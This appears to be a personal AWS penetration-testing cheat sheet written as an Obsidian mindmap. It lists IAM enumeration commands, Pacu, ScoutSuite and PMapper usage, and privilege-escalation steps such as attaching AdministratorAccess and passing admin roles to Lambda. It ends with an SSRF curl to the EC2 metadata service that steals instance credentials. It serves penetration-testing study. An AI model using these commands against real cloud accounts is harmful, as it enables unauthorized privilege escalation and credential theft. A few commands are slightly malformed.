Intro [WIP]

There is a picture which is created by Obsidian (Enhancing Mindmap)plugin and also markdown text of that. You can basically copy and paste to your own obsidian vault and continue to recreate that.



---

mindmap-plugin: basic

---

# AWS Penetration Test

## Enumeration
- User Enumeration
   - `aws iam list-users`
   - `aws iam list-groups-for-user --user-name <username>`
   - `aws iam list-user-policies --user-name <username>`
   - `aws iam list-attached-user-policies --user-name <username>`
   - `aws iam list-signin-certificates --user-name <username>`
   - `aws iam list-signing-certificates --user-name`
   - `aws iam get-ssh-public-key --user-name <username> --encoding <PEM> --ssh-public-key-id  <...>`
   - `aws iam list-mfa-devices`
   - `aws iam list-virtual-mfa-devices`
   - `aws iam get-login-profile --user-name <username>`
- Group Enumeration
   - `aws iam list-groups`
   - `aws iam list-group-policies --group-name <group name>`
   - `aws iam get-policy --policy-arn <arn:aws:iam::aws:policy/Administrator Access>`
   - `aws iam list-attached-group-policies --group-name <group name>`
   - `aws iam get-policy-version --policy-arn <arn:aws:iam::aws:policy/Administrator Access> --version-id <v1>`
   - `aws iam list-attached-group-policies --group-name <ad-production>`
   - `aws iam list-policies`
- Roles Enumeration
   - `aws iam list-roles`
   - `aws iam get-role --role-name <rolename>`
   - `aws iam list-role-policies --role-name <rolename`>
   - `aws iam list-role-attached-policies --role-name <rolename`>
- Pacu Tool
   - `run iam__enum_users_roles_policies_groups`
      - `data`
   - `run iam__bruteforce_permission`
   - `run s3__download_bucket`
   - `run dynomodb__enum`
   - `run ec2__enum`
- ScoutSuite tool
   - python3 scout.py aws
- Pmapper tool
   - pmapper graph create
   - pmapper graph list
   - pmapper query "preset privesc"
   - pmapper analysis --output-type text
- enumerate-iam
   - `python3 --access-key asdfasdf -secret-key asdfasdf --region`
- Cross Account User/Role Enumeration
   - `<#in pacu> run iam__enum_roles --role-name <controlled by Attacker> --account-id <attackerid> --word-list </somefile.txt>`
   - `<#in pacu> run iam__enum_users --role-name <controlled by Attacker> --account-id <attackerid> --word-list </somefile.txt>`

## Privilege Escalation
- Misconfigured Trust Policy
   - `aws sts assume-role --role-arn <arn:aws:iam::..............:role/.........> --role-session-name <your input> `
      - `aws sts get-caller-identity`
      - `aws iam list-attached-role-policies --role-name <you have put in first commad>`
      - `aws s3 ls`
- Overly Permissive Permission
   - `aws iam get-policy --policy-arn <customer managed policy>`
      - `aws iam get-policy-version --policy-arn <customer managed> --version-id <versions of it>`
      - Look here if there is that kind of a privileges https://turme.gitbook.io/blog/aws-penetration-test/privilege-escalation
      - `aws iam list-policies | grep 'AdministratorAccess'`
      - `aws iam attach-user-policy --user-name <give username> --policy-arn <policy with Administrative access>`
- Passing Role To Services
   - Check if you have a passRole ability and also create lambda function
      - if you have both create lambda funciton and pass role administrator to that

## Attacks on EC2
- If you find SSRF attack on application
   - `curl http://169.254.169.254/latest/meta-data/iam/security-credentials`
      - Get tokens of that EC2 instance

Last updated